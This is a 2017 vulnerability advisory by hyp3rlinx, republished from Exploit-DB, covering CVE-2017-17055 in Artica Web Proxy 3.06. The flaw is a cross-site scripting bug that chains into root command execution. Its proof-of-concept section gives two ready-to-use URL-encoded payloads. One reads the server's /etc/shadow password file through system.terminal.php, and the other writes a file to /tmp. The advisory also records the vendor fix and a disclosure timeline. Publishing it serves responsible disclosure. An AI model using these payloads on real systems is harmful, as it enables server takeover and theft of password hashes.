Artica Web Proxy 3.06 – Remote Code Execution

• Exploit Database
• 57 阅读

• 作者： hyp3rlinx
  日期： 2017-12-01
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/43206/

• [+] Credits: John Page (aka Hyp3rlinX)		
  [+] Website: hyp3rlinx.altervista.org
  [+] Source:http://hyp3rlinx.altervista.org/advisories/ARTICA-WEB-PROXY-v3.06-REMOTE-CODE-EXECUTION-CVE-2017-17055.txt
  [+] ISR: ApparitionSec
   
  
  
  Vendor:
  =======
  www.articatech.com
  
  
  
  Product:
  =========
  Artica Web Proxy v.3.06.112216 
  
  
  Artica Tech offers a powerful but easy-to-use Enterprise-Class Web Security and Control solution,
  usually the preserve of large companies. ARTICA PROXY Solutions have been developed over the past
  10 years as an Open Source Project to help SMEs and public bodies protect both their organizations
  and employees from risks posed by the Internet.
  
  
  
  Vulnerability Type:
  ===================
  Remote Code Execution 
  
  
  
  CVE Reference:
  ==============
  CVE-2017-17055
  
  
  
  Security Issue:
  ================
  Artica offers a web based command line emulator 'system.terminal.php' (shell), allowing authenticated users to execute OS commands as root. 
  However, artica fails to sanitize the following HTTP request parameter $_GET["username-form-id"] used in 'freeradius.users.php'.
  
  Therefore, authenticated users who click an attacker supplied link or visit a malicious webpage, can result in execution of attacker
  supplied Javascript code. Which is then used to execute unauthorized Operating System Commands (RCE) on the affected Artica Web Proxy Server
  abusing the system.terminal.php functionality. Result is attacker takeover of the artica server.
  
  
  
  Exploit/POC:
  =============
  1) Steal artica Server "/etc/shadow" password file.
  
  https://VICTIM-IP:9000/freeradius.users.php?username-form-id=%3C%2Fscript%3E%3Cscript%3Evar%20xhr=new%20XMLHttpRequest();xhr.onreadystatechange=function(){if(xhr.status==200){alert(xhr.responseText);}};xhr.open(%27POST%27,%27https://VICTIM-IP:9000/system.terminal.php%27,true);xhr.setRequestHeader(%27Content-type%27,%27application/x-www-form-urlencoded%27);xhr.send(%27cmdline=cat%20/etc/shadow%27);%3C%2Fscript%3E%3Cscript%3E
  
  2) Write file 'PWN' to /tmp dir.
  
  https://VICTIM-IP:9000/freeradius.users.php?username-form-id=%3C%2Fscript%3E%3Cscript%3Evar%20xhr=new%20XMLHttpRequest();xhr.onreadystatechange=function(){if(xhr.status==200){alert(xhr.responseText);}};xhr.open(%27POST%27,%27https://VICTIM-IP:9000/system.terminal.php%27,true);xhr.setRequestHeader(%27Content-type%27,%27application/x-www-form-urlencoded%27);xhr.send(%27cmdline=touch%20/tmp/PWN%27);%3C%2Fscript%3E%3Cscript%3E
  
  
  Network Access:
  ===============
  Remote
  
  
  
  
  Severity:
  =========
  High
  
  
  
  Disclosure Timeline:
  =============================
  Vendor Notification: November 28, 2017
  Vendor Confirms Vulnerability : November 28, 2017
  Vendor Reply "Fixed in 3.06.112911 / ISO released" : November 29, 2017
  December 1, 2017: Public Disclosure
  
  
  
  [+] Disclaimer
  The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
  Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
  that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
  is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
  for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
  or exploits by the author or elsewhere. All content (c).
  
  hyp3rlinx